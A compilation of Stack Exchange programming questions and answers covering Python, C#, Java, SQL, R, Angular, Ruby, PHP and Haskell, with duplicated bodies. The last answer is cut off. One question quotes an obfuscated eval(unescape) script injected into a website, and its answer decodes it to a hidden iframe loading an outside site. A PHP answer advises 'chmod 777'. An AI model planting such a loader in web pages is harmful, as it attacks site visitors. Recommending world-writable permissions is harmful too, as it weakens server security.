问:
Taking a list of strings and making a new list with each individual string as a sublist
I would like to make a function that takes a list of strings (a string with characters separated by commas if that makes a difference - see example) and make a new list with each of those individual strings into a sublist. I think (or hope) this is fairly easy and can maybe be accomplished with one line (under a for loop) but cannot figure it out.

For example:

```<code>  List = ['a, b, c', 'hello, 1, 2, 3', '7, 8, hi']
  function(List) = [['a, b, c'], ['hello, 1, 2, 3'], ['7, 8, hi']]
</code>```

Currently, my function looks like this:

```<code>    result = []
   for string in L:
       ?????
   return result
</code>```

But I don't know what to put in the ???? line. I've tried things like result.append(list(string)) and others but they do not give me what I am looking for.

Thank you!

答:
You can do this like this, using a list comprehension inside a function:

```<code>def make_sub(seq):
    return [[elt] for elt in seq]

seq = ['a, b, c', 'hello, 1, 2, 3', '7, 8, hi']
print(make_sub(seq))
</code>```

output:

```<code>[['a, b, c'], ['hello, 1, 2, 3'], ['7, 8, hi']]
</code>```

Body:
I would like to make a function that takes a list of strings (a string with characters separated by commas if that makes a difference - see example) and make a new list with each of those individual strings into a sublist. I think (or hope) this is fairly easy and can maybe be accomplished with one line (under a for loop) but cannot figure it out.

For example:

  List = ['a, b, c', 'hello, 1, 2, 3', '7, 8, hi']
  function(List) = [['a, b, c'], ['hello, 1, 2, 3'], ['7, 8, hi']]

Currently, my function looks like this:

    result = []
   for string in L:
       ?????
   return result

But I don't know what to put in the ???? line. I've tried things like result.append(list(string)) and others but they do not give me what I am looking for.

Thank you!

Body:
You can do this like this, using a list comprehension inside a function:

def make_sub(seq):
    return [[elt] for elt in seq]

seq = ['a, b, c', 'hello, 1, 2, 3', '7, 8, hi']
print(make_sub(seq))

output:

[['a, b, c'], ['hello, 1, 2, 3'], ['7, 8, hi']]


来源: stackexchange

问:
Xamarin MVVM push user data to viewmodel
like the title says I want to give through the user information to my viewmodel, but the problem is that the viewmodel is registered as a dependency and I am binding its content to the xaml page itself. How do I send the user information to the viewmodel itself?
Thank you!

Xaml.cs part:

```<code>[XamlCompilation(XamlCompilationOptions.Compile)]
    public partial class Calendar : ContentPage
    {
        public Calendar(User user)
        {
            InitializeComponent();
            FileImageSource image = new FileImageSource
            {
                File = "calendar.png"
            };
            Icon = image;// push user information to the ICalendarViewModel
            BindingContext = AppContainer.Container.Resolve<ICalendarViewModel>();
        }
    }
</code>```

Interface:

```<code>public interface ICalendarViewModel : INotifyPropertyChanged
    {

    }
</code>```

Bootstrap part registering dependencies:

```<code>public class Bootstrap
    {
        public IContainer CreateContainer()
        {
            var containerBuilder = new ContainerBuilder();
            RegisterDependencies(containerBuilder);
            return containerBuilder.Build();
        }

        protected virtual void RegisterDependencies(ContainerBuilder builder)
        {
            builder.RegisterType<CalendarViewModel>()
                .As<ICalendarViewModel>()
                .SingleInstance();

        }
    }
</code>```

CalendarViewModel: I do not know if this will help

```<code>public class CalendarViewModel : ViewModelBase, ICalendarViewModel
    {
        public event PropertyChangedEventHandler PropertyChanged;

        public string ErrorMessage { get; set; }
        private CourseInformation _information;
        private ICourseInformationRepository _repository;

        public CalendarViewModel()
        {
            _repository = new CourseInformationRepository();
            LoadData();
        }

        private ObservableCollection<CourseInformation> _courses;
        public ObservableCollection<CourseInformation> Courses
        {
            get
            {
                return _courses;
            }
            set
            {
                _courses = value;
                RaisePropertyChanged(nameof(Courses));
            }
        }

        private void LoadData()
        {
            try

{
            ObservableCollection<CourseInformation> CourseList = new ObservableCollection<CourseInformation>(_repository.GetAllCourseInformation());
            Courses = new ObservableCollection<CourseInformation>();
            DateTime date;
            foreach (var course in CourseList)
            {
                string [] cour = course.Date.Split('/');
                cour[2] = "20" + cour[2];
                date = new DateTime(Convert.ToInt32(cour[2]), Convert.ToInt32(cour[1]), Convert.ToInt32(cour[0]));
                if (date == DateTime.Now)//TESTING WITH TEST DATE, datetime.now
                {
                    if (course.FromTime.Length < 4)
                    {
                        course.FromTime = "0" + course.FromTime;
                    }
                    if (course.UntilTime.Length < 4)
                    {
                        course.UntilTime = "0" + course.UntilTime;
                    }
                    course.FromTime = course.FromTime.Insert(2, ":");
                    course.UntilTime = course.UntilTime.Insert(2, ":");
                    Courses.Add(course);
                }
            }
        }
        catch (ServerUnavailableException e)
        {
            ErrorMessage = "Server is niet beschikbaar, ophalen van kalender is niet mogelijk.";
        }
    }

    private void RaisePropertyChanged(string propertyName)
    {
        PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
    }
}
</code>```

Bootstrap binding in app.xaml.cs:

```<code>public partial class App : Application
    {
        public App()
        {
            InitializeComponent();
            AppContainer.Container = new Bootstrap().CreateContainer();
            MainPage = new LoginView();
        }

        protected override void OnStart()
        {
            // Handle when your app starts
        }

        protected override void OnSleep()
        {
            // Handle when your app sleeps
        }

        protected override void OnResume()
        {
            // Handle when your app resumes
        }
    }
</code>```

答: I wanted to comment (not enough reputation) on @LeRoy, use a framework. I would recommend FreshMVVM and you can pass objects into the ViewModel and even pass in Services. It makes it all nice and clean, and it just works.</p>

ContentLicense: CC BY-SA 3.0

Body:
like the title says I want to give through the user information to my viewmodel, but the problem is that the viewmodel is registered as a dependency and I am binding its content to the xaml page itself. How do I send the user information to the viewmodel itself?
Thank you!

Xaml.cs part:

[XamlCompilation(XamlCompilationOptions.Compile)]
    public partial class Calendar : ContentPage
    {
        public Calendar(User user)
        {
            InitializeComponent();
            FileImageSource image = new FileImageSource
            {
                File = "calendar.png"
            };
            Icon = image;// push user information to the ICalendarViewModel
            BindingContext = AppContainer.Container.Resolve<ICalendarViewModel>();
        }
    }

Interface:

public interface ICalendarViewModel : INotifyPropertyChanged
    {

    }

Bootstrap part registering dependencies:

public class Bootstrap
    {
        public IContainer CreateContainer()
        {
            var containerBuilder = new ContainerBuilder();
            RegisterDependencies(containerBuilder);
            return containerBuilder.Build();
        }

        protected virtual void RegisterDependencies(ContainerBuilder builder)
        {
            builder.RegisterType<CalendarViewModel>()
                .As<ICalendarViewModel>()
                .SingleInstance();

        }
    }

CalendarViewModel: I do not know if this will help

public class CalendarViewModel : ViewModelBase, ICalendarViewModel
    {
        public event PropertyChangedEventHandler PropertyChanged;

        public string ErrorMessage { get; set; }
        private CourseInformation _information;
        private ICourseInformationRepository _repository;

        public CalendarViewModel()
        {
            _repository = new CourseInformationRepository();
            LoadData();
        }

        private ObservableCollection<CourseInformation> _courses;
        public ObservableCollection<CourseInformation> Courses
        {
            get
            {
                return _courses;
            }
            set
            {
                _courses = value;
                RaisePropertyChanged(nameof(Courses));
            }
        }

        private void LoadData()
        {
            try

{
            ObservableCollection<CourseInformation> CourseList = new ObservableCollection<CourseInformation>(_repository.GetAllCourseInformation());
            Courses = new ObservableCollection<CourseInformation>();
            DateTime date;
            foreach (var course in CourseList)
            {
                string [] cour = course.Date.Split('/');
                cour[2] = "20" + cour[2];
                date = new DateTime(Convert.ToInt32(cour[2]), Convert.ToInt32(cour[1]), Convert.ToInt32(cour[0]));
                if (date == DateTime.Now)//TESTING WITH TEST DATE, datetime.now
                {
                    if (course.FromTime.Length < 4)
                    {
                        course.FromTime = "0" + course.FromTime;
                    }
                    if (course.UntilTime.Length < 4)
                    {
                        course.UntilTime = "0" + course.UntilTime;
                    }
                    course.FromTime = course.FromTime.Insert(2, ":");
                    course.UntilTime = course.UntilTime.Insert(2, ":");
                    Courses.Add(course);
                }
            }
        }
        catch (ServerUnavailableException e)
        {
            ErrorMessage = "Server is niet beschikbaar, ophalen van kalender is niet mogelijk.";
        }
    }

    private void RaisePropertyChanged(string propertyName)
    {
        PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
    }
}

Bootstrap binding in app.xaml.cs:

public partial class App : Application
    {
        public App()
        {
            InitializeComponent();
            AppContainer.Container = new Bootstrap().CreateContainer();
            MainPage = new LoginView();
        }

        protected override void OnStart()
        {
            // Handle when your app starts
        }

        protected override void OnSleep()
        {
            // Handle when your app sleeps
        }

        protected override void OnResume()
        {
            // Handle when your app resumes
        }
    }


问:
Solution for previewing user changes and allowing rollback/commit over a period of time
I have asked a few questions today as I try to think through to the solution of a problem.

We have a complex data structure where all of the various entities are tightly interconnected, with almost all entities heavily reliant/dependant upon entities of other types.

The project is a website (MVC3, .NET 4), and all of the logic is implemented using LINQ-to-SQL (2008) in the business layer.

What we need to do is have a user "lock" the system while they make their changes (there are other reasons for this which I won't go into here that are not database related). While this user is making their changes we want to be able to show them the original state of entities which they are updating, as well as a "preview" of the changes they have made. When finished, they need to be able to rollback/commit.

We have considered these options:

Holding open a transaction for the length of time a user takes to make multiple changes stinks, so that's out.

Holding a copy of all the data in memory (or cached to disk) is an option but there is heck of a lot of it, so seems unreasonable.

Maintaining a set of secondary tables, or attempting to use session state to store changes, but this is  complex and difficult to maintain.

Using two databases, flipping between them by connection string, and using T-SQL to manage replication, putting them back in sync after commit/rollback. I.e. switching on/off, forcing snapshot, reversing direction etc.

We're a bit stumped for a solution that is relatively easy to maintain. Any suggestions?

答:
Consider this:

Long transactions makes system less scalable. If you do UPDATE command, update locks last until commit/rollback, preventing other transaction to proceed.

Second tables/database can be modified by concurent transactions, so you cannot rely on data in tables. Only way is to lock it => see no1.

Serializable transaction in some data engines uses versions of data in your tables. So after first cmd is executed, transaction can see exact data available in cmd execution time. This might help you to show changes made by user, but you have no guarantee to save them back into storage.

DataSets contains old/new version of data. But that is unfortunatelly out of your technology aim.

ContentLicense: CC BY-SA 2.5


问:
Etsy API: Can I get a number of active listings by shop id without paginating through all listing items
I want to know the total number of active listings by shop id. Is there any such API available ?

I could find the API which returns paginated results for all the listings in a shop.

```<code>'/shops/:shop_id/listings/active'
</code>```

I cannot give a limit of over 100 in this API and for fetching total count of all listings, I will have to make a lot of requests is the listings are lets say several thousands. A simple API endpoint that can get the count of total active listings would be really helpful

答:
It's included in the standard response:

{
     "count":integer,
     "results": [
         { result object }
     ],
     "params": { parameters },
     "type":result type
}

Docs can be found here: https://www.etsy.com/developers/documentation/getting_started/api_basics#section_standard_response_format

Body:
I want to know the total number of active listings by shop id. Is there any such API available ?

I could find the API which returns paginated results for all the listings in a shop.

'/shops/:shop_id/listings/active'

I cannot give a limit of over 100 in this API and for fetching total count of all listings, I will have to make a lot of requests is the listings are lets say several thousands. A simple API endpoint that can get the count of total active listings would be really helpful


问:
Spring Boot @RestController no respond
I'm starting with Spring and REST application. Currently, I'm developing one application on my own and I stuck.

The app is divided just like standard Spring Boot project. All of the controllers are contained in web package.
One of "standard" controller is responsible for handling HTTP request and returning an HTML website. I have added a REST controller which should respond to POST request from the first controller, but I receive a 404 error.

How it looks like in code?

```<code>@RestController
@RequestMapping("/users")
public class UserRestController {
    @Autowired
    private UserService userService;

    @RequestMapping(value = "/user", method = RequestMethod.POST,  consumes = "application/json", produces = "application/json")
    public ResponseEntity<?> getUser(@RequestParam("userId") String userId, Errors errors) {
        AjaxUser response = new AjaxUser();

        if (errors.hasErrors()) {
            response.message = errors.getAllErrors().stream().map(x -> x.getDefaultMessage()).collect(Collectors.joining(","));

            return ResponseEntity.badRequest().body(response);

        }

        response.setUser(userService.getUserById(Integer.getInteger(userId).intValue()));

        return ResponseEntity.ok(response);

    }

    private class AjaxUser {
        private User user;
        private String message;

        public void setUser(User user) {
            this.user = user;
        }

        public void setMessage(String message) {
            this.message = message;
        }

        public String getMessage() {
            return message;
        }

        @Override
        public String toString() {
            return "User { id:" + user.getId() + ", Name: " + user.getName() + ", surname: " + user.getSurname() + "}";
        }
    }
}
</code>```

From .js file I send a ajax query which should trigger a rest controller, here is the code:

```<code>function sendUserId(id) {
    var user = {};
    user["userId"] = id;

    console.log("USER: ", user);

    $.ajax({
        type: "POST",
        contentType: "application/json",
        url: "/users/user",
        data: JSON.stringify(user),
        dataType: 'json',
        cache: false,
        timeout: 100000,
        success: function (user) {

            var json = "<h4>Ajax Response</h4>```"
                + JSON.stringify(user, null, 4) + "```";

            console.log("SUCCESS : ", user);

        },
        error: function (e) {

            var json = "<h4>Ajax Response</h4>```"
                + e.responseText + "```";

            console.log("ERROR : ", e);
        }
    });
}
</code>```

userId is taken from a html by jQuery, console.log show existing and right value.

Note: There exist a standard user @Controller which is responsible for displaying a user list, it works, problem appear during sending a user id to REST controller. It behaves just like the REST controller doesn't exist and browser return 404 status response. Btw, page use a Spring Secure to login and so on.

Could someone help?

BR Konrad

答:
You can get a user by id like below:

```<code>@RequestMapping(value = "{id}", method = RequestMethod.GET)
public ResponseEntity<User> get(@PathVariable("id") int id) {
User user = userService.findById(id);

if (user == null) {
return new ResponseEntity<User>(HttpStatus.NOT_FOUND);
}

return new ResponseEntity<User>(user, HttpStatus.OK);
}
</code>```

So your rest entry point is /users/userid, eg: /users/1

Found this from the post Spring MVC RESTFul Web Service CRUD Example

Title: Spring Boot @RestController no respond

Body:
I'm starting with Spring and REST application. Currently, I'm developing one application on my own and I stuck.

The app is divided just like standard Spring Boot project. All of the controllers are contained in web package.
One of "standard" controller is responsible for handling HTTP request and returning an HTML website. I have added a REST controller which should respond to POST request from the first controller, but I receive a 404 error.

How it looks like in code?

@RestController
@RequestMapping("/users")
public class UserRestController {
    @Autowired
    private UserService userService;

    @RequestMapping(value = "/user", method = RequestMethod.POST,  consumes = "application/json", produces = "application/json")
    public ResponseEntity<?> getUser(@RequestParam("userId") String userId, Errors errors) {
        AjaxUser response = new AjaxUser();

        if (errors.hasErrors()) {
            response.message = errors.getAllErrors().stream().map(x -> x.getDefaultMessage()).collect(Collectors.joining(","));

            return ResponseEntity.badRequest().body(response);

        }

        response.setUser(userService.getUserById(Integer.getInteger(userId).intValue()));

        return ResponseEntity.ok(response);

    }

    private class AjaxUser {
        private User user;
        private String message;

        public void setUser(User user) {
            this.user = user;
        }

        public void setMessage(String message) {
            this.message = message;
        }

        public String getMessage() {
            return message;
        }

        @Override
        public String toString() {
            return "User { id:" + user.getId() + ", Name: " + user.getName() + ", surname: " + user.getSurname() + "}";
        }
    }
}

From .js file I send a ajax query which should trigger a rest controller, here is the code:

function sendUserId(id) {
    var user = {};
    user["userId"] = id;

    console.log("USER: ", user);

    $.ajax({
        type: "POST",
        contentType: "application/json",
        url: "/users/user",
        data: JSON.stringify(user),
        dataType: 'json',
        cache: false,
        timeout: 100000,
        success: function (user) {

            var json = "
Ajax Response

"
                + JSON.stringify(user, null, 4) + "
";

            console.log("SUCCESS : ", user);

        },
        error: function (e) {

            var json = "
Ajax Response

"
                + e.responseText + "
";

            console.log("ERROR : ", e);
        }
    });
}

userId is taken from a html by jQuery, console.log show existing and right value.

Note: There exist a standard user @Controller which is responsible for displaying a user list, it works, problem appear during sending a user id to REST controller. It behaves just like the REST controller doesn't exist and browser return 404 status response. Btw, page use a Spring Secure to login and so on.

Could someone help?

BR Konrad

Body:
You can get a user by id like below:

@RequestMapping(value = "{id}", method = RequestMethod.GET)
public ResponseEntity<User> get(@PathVariable("id") int id) {
User user = userService.findById(id);

if (user == null) {
return new ResponseEntity<User>(HttpStatus.NOT_FOUND);
}

return new ResponseEntity<User>(user, HttpStatus.OK);
}

So your rest entry point is /users/userid, eg: /users/1

Found this from the post Spring MVC RESTFul Web Service CRUD Example


问:
SQL Query Error SQL Syntax
here I have some problem during make database on mysql :

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'use android_api

create table users(    id int(11) primary key auto_increme' at line 3

here my code :

```<code>create database android_api /** Creating Database **/

use android_api /** Selecting Database **/

create table users(
   id int(11) primary key auto_increment,
   unique_id varchar(23) not null unique,
   name varchar(50) not null,
   email varchar(100) not null unique,
   encrypted_password varchar(80) not null,
   salt varchar(10) not null,
   created_at datetime,
   updated_at datetime null
); /** Creating Users Table **/
</code>```

looking forward for your help. thanks

答:
You are missing semicolons.

While running SQL queried it is mandatory to add semicolons ; at the end of each statement. You had semicolons at the end of create table statement but you missed it in create database and use statements.

```<code>create database android_api; /** Creating Database **/

use android_api; /** Selecting Database **/

create table users(
   id int(11) primary key auto_increment,
   unique_id varchar(23) not null unique,
   name varchar(50) not null,
   email varchar(100) not null unique,
   encrypted_password varchar(80) not null,
   salt varchar(10) not null,
   created_at datetime,
   updated_at datetime null
); /** Creating Users Table **/
</code>```

For MySQL error codes and messages you can refer this document.

Title: SQL Query Error SQL Syntax

Body:
here I have some problem during make database on mysql :

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'use android_api

create table users(    id int(11) primary key auto_increme' at line 3

here my code :

create database android_api /** Creating Database **/

use android_api /** Selecting Database **/

create table users(
   id int(11) primary key auto_increment,
   unique_id varchar(23) not null unique,
   name varchar(50) not null,
   email varchar(100) not null unique,
   encrypted_password varchar(80) not null,
   salt varchar(10) not null,
   created_at datetime,
   updated_at datetime null
); /** Creating Users Table **/

looking forward for your help. thanks

Body:
You are missing semicolons.

While running SQL queried it is mandatory to add semicolons ; at the end of each statement. You had semicolons at the end of create table statement but you missed it in create database and use statements.

create database android_api; /** Creating Database **/

use android_api; /** Selecting Database **/

create table users(
   id int(11) primary key auto_increment,
   unique_id varchar(23) not null unique,
   name varchar(50) not null,
   email varchar(100) not null unique,
   encrypted_password varchar(80) not null,
   salt varchar(10) not null,
   created_at datetime,
   updated_at datetime null
); /** Creating Users Table **/

For MySQL error codes and messages you can refer this document.


问:
How to combine text with spaces in to a single column in R?
My last column ("details") has information that has spaces or tabs. How can I read all details as a single column in R?

input

```<code>date    month   year    type    expenditure details
10/31/2017  Oct 2017    food    10.89   Point Of Sale Withdrawal 17203473997 TRESIDDER U2           STANFORD     CAUS
10/31/2017  Oct 2017    uber    4.80    Point Of Sale Withdrawal 44519795098 UBER   TRIP F73MU      HELP.UBER.COMCAUS
10/31/2017  Oct 2017    instacart   99.00   Point Of Sale Withdrawal 44534891998 INSTACART SUBSCRIPTION HTTPSINSTACARCAUS
10/31/2017  Oct 2017    food    8.45    Point Of Sale Withdrawal 22607113998 CLARK CENTER-BIO-X CAF STANFORD     CAUS
10/31/2017  Oct 2017    food    4.00    Point Of Sale Withdrawal 33426639883 COUPA CAFE Y2E2        STANFORD     CAUS
10/31/2017  Oct 2017    uber    4.52    Point Of Sale Withdrawal 42029000200217 UBER TRIP QZ7W5 HELP.UB800-5928996  CAUS
10/30/2017  Oct 2017    food    5.85    Point Of Sale Withdrawal 44519950998 UBER   TRIP HOOMP      HELP.UBER.COMCAUS
10/30/2017  Oct 2017    uber    23.20   Point Of Sale Withdrawal 33428390882 COUPA CAFE LYTTON      PALO ALTO    CAUS
10/30/2017  Oct 2017    food    7.52    Point Of Sale Withdrawal 34530890882 PANDA EXPRESS #2035    STANFORD     CAUS
</code>```

答:
If it is an Excel file you can use one of R packages to read the file into excel. I used your example data and open it with openxlsx, which doesn't need java, and it read the details column as you want it.
The code would be:

```<code>read.xlsx("file", detectDates = T)
</code>```

Body:
My last column ("details") has information that has spaces or tabs. How can I read all details as a single column in R?

input

date    month   year    type    expenditure details
10/31/2017  Oct 2017    food    10.89   Point Of Sale Withdrawal 17203473997 TRESIDDER U2           STANFORD     CAUS
10/31/2017  Oct 2017    uber    4.80    Point Of Sale Withdrawal 44519795098 UBER   TRIP F73MU      HELP.UBER.COMCAUS
10/31/2017  Oct 2017    instacart   99.00   Point Of Sale Withdrawal 44534891998 INSTACART SUBSCRIPTION HTTPSINSTACARCAUS
10/31/2017  Oct 2017    food    8.45    Point Of Sale Withdrawal 22607113998 CLARK CENTER-BIO-X CAF STANFORD     CAUS
10/31/2017  Oct 2017    food    4.00    Point Of Sale Withdrawal 33426639883 COUPA CAFE Y2E2        STANFORD     CAUS
10/31/2017  Oct 2017    uber    4.52    Point Of Sale Withdrawal 42029000200217 UBER TRIP QZ7W5 HELP.UB800-5928996  CAUS
10/30/2017  Oct 2017    food    5.85    Point Of Sale Withdrawal 44519950998 UBER   TRIP HOOMP      HELP.UBER.COMCAUS
10/30/2017  Oct 2017    uber    23.20   Point Of Sale Withdrawal 33428390882 COUPA CAFE LYTTON      PALO ALTO    CAUS
10/30/2017  Oct 2017    food    7.52    Point Of Sale Withdrawal 34530890882 PANDA EXPRESS #2035    STANFORD     CAUS

Body:
If it is an Excel file you can use one of R packages to read the file into excel. I used your example data and open it with openxlsx, which doesn't need java, and it read the details column as you want it.
The code would be:

read.xlsx("file", detectDates = T)


问:
Attaching click to anchor tag in angular
I am trying to attach click event to anchor tags (coming from ajax) and block the default redirection. How can I do it in angular ?

abc

abc1

abc2

abc3

```

<p><strong>In ts file:</strong> </p>

<pre class="lang-js prettyprint-override"><code>constructor(elementRef: ElementRef, renderer: Renderer) {
    this.listenFunc = renderer.listen(elementRef.nativeElement, 'click', (event) => {
        event.preventDefault();
        let target = event.target || event.srcElement || event.currentTarget;
        console.log(target);
    });
}
</code>```

This will attach event to all elements, how can I limit this to anchor tag only ?

All helps appreciated.

答:
You can use routerLink which is an alternative of href for angular 2.**
Use routerLink as below in html

```<code><a routerLink="/dashboard">My Link</a>
</code>```

and make sure you register your routerLink in modules.ts or router.ts like this

```<code>const routes: Routes = [
  { path: 'dashboard', component: DashboardComponent }
]
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I am trying to attach click event to anchor tags (coming from ajax) and block the default redirection. How can I do it in angular ?

abc

abc1

abc2

abc3

In ts file:

constructor(elementRef: ElementRef, renderer: Renderer) {
    this.listenFunc = renderer.listen(elementRef.nativeElement, 'click', (event) => {
        event.preventDefault();
        let target = event.target || event.srcElement || event.currentTarget;
        console.log(target);
    });
}

This will attach event to all elements, how can I limit this to anchor tag only ?

All helps appreciated.

Body:
You can use routerLink which is an alternative of href for angular 2.**
Use routerLink as below in html

<a routerLink="/dashboard">My Link</a>

and make sure you register your routerLink in modules.ts or router.ts like this

const routes: Routes = [
  { path: 'dashboard', component: DashboardComponent }
]


问:
How to make Irb not printing objects attribute
I would like irb not to print my objects attributes by default. Is that possible? For example, I have:

```<code>class Test
  @tmp = nil
  def initialize(str)
    @tmp = str
    self
  end
end
</code>```

and I get:

```<code>irb> t = Test.new("hello")
=> #<Test:0x18f6198 @tmp="hello">
</code>```

I do not want to see the @tmp="hello" part.

答:
Set the inspector string like the following:

```<code>IRB.CurrentContext.inspect_mode = IRB::Inspector.new(->obj{
  "<##{obj.class}:#{obj.object_id}>"
})
</code>```

Then in irb, you would get like the following:

```<code>"foo"
# => <#String:47128160661240>
</code>```

Body:
I would like irb not to print my objects attributes by default. Is that possible? For example, I have:

class Test
  @tmp = nil
  def initialize(str)
    @tmp = str
    self
  end
end

and I get:

irb> t = Test.new("hello")
=> #<Test:0x18f6198 @tmp="hello">

I do not want to see the @tmp="hello" part.

Body:
Set the inspector string like the following:

IRB.CurrentContext.inspect_mode = IRB::Inspector.new(->obj{
  "<##{obj.class}:#{obj.object_id}>"
})

Then in irb, you would get like the following:

"foo"
# => <#String:47128160661240>


问:
How can I loop through a string and print certain items?
```<code>lst = 'AB[CD]EF[GH]'
</code>```

Output: ['A','B','CD','E','F','GH']

This is what I've tried but it's not working...

```<code>while(index < len(my_string)):
 curr_char = my_string[index]
 if(curr_char == '['):
      while(curr_char != ']'):
           multi = my_string[index + 1]
           index += 1
lst += multi
</code>```

Can anybody please help? Without importing Regex or whatever. I wanna do this without using it.

答:
You can't use

```<code>lst += multi
</code>```

because you can't concatenate a string with a list.

Moreover, your code enters an infinite loop, because you aren't updating the curr_char variable inside the inner loop, so the condition will always be True.

Also, you are not handling the case when curr_char != '['. And more errors there are.

You can use this code which fixes the above errors while using the same basic logic as your code:

```<code>index = 0
multi = ""
res = []
my_str = 'AB[CD]EF[GH]'

while (index < len(my_str)):
    curr_char = my_str[index]
    if curr_char == '[':
        multi += curr_char
        while curr_char != ']':
            index += 1
            curr_char = my_str[index]
            multi += curr_char
        res.append(multi)
        multi = ""
    else:
        res.append(curr_char)
    index += 1

print(res)
</code>```

Output:

```<code>['A', 'B', '[CD]', 'E', 'F', '[GH]']
</code>```

Body:
lst = 'AB[CD]EF[GH]'

Output: ['A','B','CD','E','F','GH']

This is what I've tried but it's not working...

while(index < len(my_string)):
 curr_char = my_string[index]
 if(curr_char == '['):
      while(curr_char != ']'):
           multi = my_string[index + 1]
           index += 1
lst += multi

Can anybody please help? Without importing Regex or whatever. I wanna do this without using it.

Body:
You can't use

lst += multi

because you can't concatenate a string with a list.

Moreover, your code enters an infinite loop, because you aren't updating the curr_char variable inside the inner loop, so the condition will always be True.

Also, you are not handling the case when curr_char != '['. And more errors there are.

You can use this code which fixes the above errors while using the same basic logic as your code:

index = 0
multi = ""
res = []
my_str = 'AB[CD]EF[GH]'

while (index < len(my_str)):
    curr_char = my_str[index]
    if curr_char == '[':
        multi += curr_char
        while curr_char != ']':
            index += 1
            curr_char = my_str[index]
            multi += curr_char
        res.append(multi)
        multi = ""
    else:
        res.append(curr_char)
    index += 1

print(res)

Output:

['A', 'B', '[CD]', 'E', 'F', '[GH]']


问:
This site may be distributing malware ? strange javascript?
```<code><script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%
74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%
70%3A%2F%2F%73%65%64%70%6F%6F%2E%63%6F%6D%2F%3F%33%33%38%33%
37%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%
3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script>
</code>```

My website www.safwanmanpower.com is attacked by a malware script in each page i don't know wt this script is all about can anybody how this script make my website malware affected ??

hoping for quick and positive response.

edited

how sumone can attacked my website without an permission of uploading ??

答:
Unescaped the code using the tool here to get this

document.write('')

Which is embedding a 1px x 1px(effectively invisible) iframe into your page, from here its most likely attacking your visitors with exploits or simply trying to spawn advert windows

Body:
Unescaped the code using the tool here to get this

document.write('<iframe src="http://sedpoo.com/?338375" width=1 height=1></iframe>')

Which is embedding a 1px x 1px(effectively invisible) iframe into your page, from here its most likely attacking your visitors with exploits or simply trying to spawn advert windows


问:
NGX-Bootstrap: dropdown doesn't show the selected item
I'd like to use ngx-angular dropdown. I've followed the installation instruction from their official page. The dropdown is displaying, but when I select an item, it doesn't appear at the top like a regular dropdown.

I can't find any working example online. Even on their official page, when you select an item, nothing happens.

Can someone tell whether I need to add code to make it work?

EDIT

1) Initial state

2) Expend and Select any item

3) Button Dropdown is still selected

Is this how it's supposed to work?

答:
First what you are trying to implement is simple drop-down, That's not a select box , what you need is select box not drop-down.

https://valor-software.com/ngx-bootstrap/#/dropdowns#nested

Q : I can't find any working example online. Even on their official page, when you select an item, nothing happens.

A : It's because, they just created a demo of drop-down as name suggests, you need to code on click event,

Here is the link of what you need (from same providers) :

https://valor-software.com/ng2-select/

Extra (if you need more) :

https://github.com/valor-software/ng2-plans


Title: Taking a list of strings and making a new list with each individual string as a sublist

Body:
I would like to make a function that takes a list of strings (a string with characters separated by commas if that makes a difference - see example) and make a new list with each of those individual strings into a sublist. I think (or hope) this is fairly easy and can maybe be accomplished with one line (under a for loop) but cannot figure it out.

For example:

  List = ['a, b, c', 'hello, 1, 2, 3', '7, 8, hi']
  function(List) = [['a, b, c'], ['hello, 1, 2, 3'], ['7, 8, hi']]

Currently, my function looks like this:

    result = []
   for string in L:
       ?????
   return result

But I don't know what to put in the ???? line. I've tried things like result.append(list(string)) and others but they do not give me what I am looking for.

Thank you!

Body:
>>> foo = ['a, b, c', 'hello, 1, 2, 3', '7, 8, hi']
>>> map(lambda x: x.split(", "), foo)
[['a', 'b', 'c'], ['hello', '1', '2', '3'], ['7', '8', 'hi']]
>>>


问:
file_put_contents: failed to open stream: Permission denied
I am currently working on a project that writes to a file based on your input. This works perfectly fine on my localhost, but when I try this project on my college server - it just doesn't work.

```<code>$ret = file_put_contents('paameldinger.dat', $data, FILE_APPEND | LOCK_EX);
</code>```

This line is supposted to return true, but returns false on the college server.

Warning: file_put_contents(paameldinger.dat): failed to open stream: Permission denied

This is the message I am getting through my browser.

答:
You have to make sure that you have permission to access the file paameldinger.dat

STEP 1 If you are on linux, you can check it by:

```<code>ls -l
</code>```

command from the directory of the file (on windows you may use CMDER editor to execute the above command).

STEP 2: You can change the permission of the file by:

```<code>chmod 777 paameldinger.dat
</code>```

Body:
I am currently working on a project that writes to a file based on your input. This works perfectly fine on my localhost, but when I try this project on my college server - it just doesn't work.

$ret = file_put_contents('paameldinger.dat', $data, FILE_APPEND | LOCK_EX);

This line is supposted to return true, but returns false on the college server.

Warning: file_put_contents(paameldinger.dat): failed to open stream: Permission denied

This is the message I am getting through my browser.

Body:
You have to make sure that you have permission to access the file paameldinger.dat

STEP 1 If you are on linux, you can check it by:

ls -l

command from the directory of the file (on windows you may use CMDER editor to execute the above command).

STEP 2: You can change the permission of the file by:

chmod 777 paameldinger.dat


问:
How can I make my simple Haskell function recursive?
This is my function:

```<code>rotatebyone :: [Int] -> [Int]
rotatebyone [] = []
rotatebyone (x:xs) = ((tail (x:xs)) ++ (take 1 (x:xs)))

rotatebyn :: Int -> [Int] -> [Int]
rotatebyn n [] = []
rotatebyn 1 (x:xs) = rotatebyone (x:xs)
rotatebyn 2 (x:xs) = (rotatebyone (rotatebyone (x:xs)))
</code>```

I want my function to repeat itself for n-times. I guess you do this with guardians or the "while" operator, but I don't know quite how. The goal is to rotate elements of a integer-list n-times.

This was my failed approach:

```<code>rota :: Int -> [Int] -> [Int]
rota n (x:xs) = rotatebyone (x:xs)
                where
                rota n
                    | n > 1 = rota (n - 1)
                    | otherwise = rotatebyone (x:xs)
</code>```

答:
You shouldn't rotate multiple places by rotating once and doing that repeatedly. Let's look at a slightly cleaner version of your single rotation to see why:

```<code>rotateLeft1 :: [a] -> [a]
rotateLeft1 [] = []
rotateLeft1 (x:xs) = xs ++ [x]
</code>```

The problem is that p ++ q takes time linear in the length of p. You're doing that once for each rotation step, which wastes a lot of time. Let's look at it differently, with an example.

